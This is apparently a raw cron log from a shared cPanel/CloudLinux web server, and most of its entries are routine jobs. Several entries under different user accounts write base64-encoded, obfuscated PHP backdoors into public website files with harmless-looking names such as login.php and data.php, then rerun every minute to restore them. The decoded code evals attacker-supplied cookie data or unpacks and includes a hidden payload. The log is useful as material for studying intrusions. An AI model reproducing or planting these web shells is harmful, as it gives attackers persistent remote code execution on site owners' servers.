Mar  1 17:42:02 medusa CROND[7201]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:43:02 medusa CROND[29789]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 17:43:02 medusa CROND[29869]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:43:02 medusa CROND[29873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:43:02 medusa CROND[29868]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:43:02 medusa CROND[29879]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:43:02 medusa CROND[29880]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:43:02 medusa CROND[29881]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 17:43:02 medusa CROND[29892]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:43:02 medusa CROND[29885]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:43:02 medusa CROND[29895]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:43:02 medusa CROND[29896]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:43:02 medusa CROND[29897]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 17:43:02 medusa CROND[29907]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:43:02 medusa CROND[29904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:44:02 medusa CROND[21236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:44:02 medusa CROND[21241]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:44:02 medusa CROND[21243]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:44:02 medusa CROND[21244]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:44:02 medusa CROND[21245]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:44:02 medusa CROND[21246]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:44:02 medusa CROND[21247]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:44:02 medusa CROND[21248]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:44:02 medusa CROND[21249]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:44:02 medusa CROND[21251]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:44:02 medusa CROND[21254]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:44:02 medusa CROND[21256]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:44:02 medusa CROND[21258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:45:01 medusa CROND[12149]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:45:01 medusa CROND[12150]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:45:01 medusa CROND[12151]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:45:01 medusa CROND[12152]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:45:01 medusa CROND[12153]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 17:45:01 medusa CROND[12154]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:45:01 medusa CROND[12163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:45:01 medusa CROND[12160]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:45:01 medusa CROND[12158]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:45:01 medusa CROND[12161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:45:01 medusa CROND[12159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:45:01 medusa CROND[12162]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:45:01 medusa CROND[12167]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:45:01 medusa CROND[12168]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSk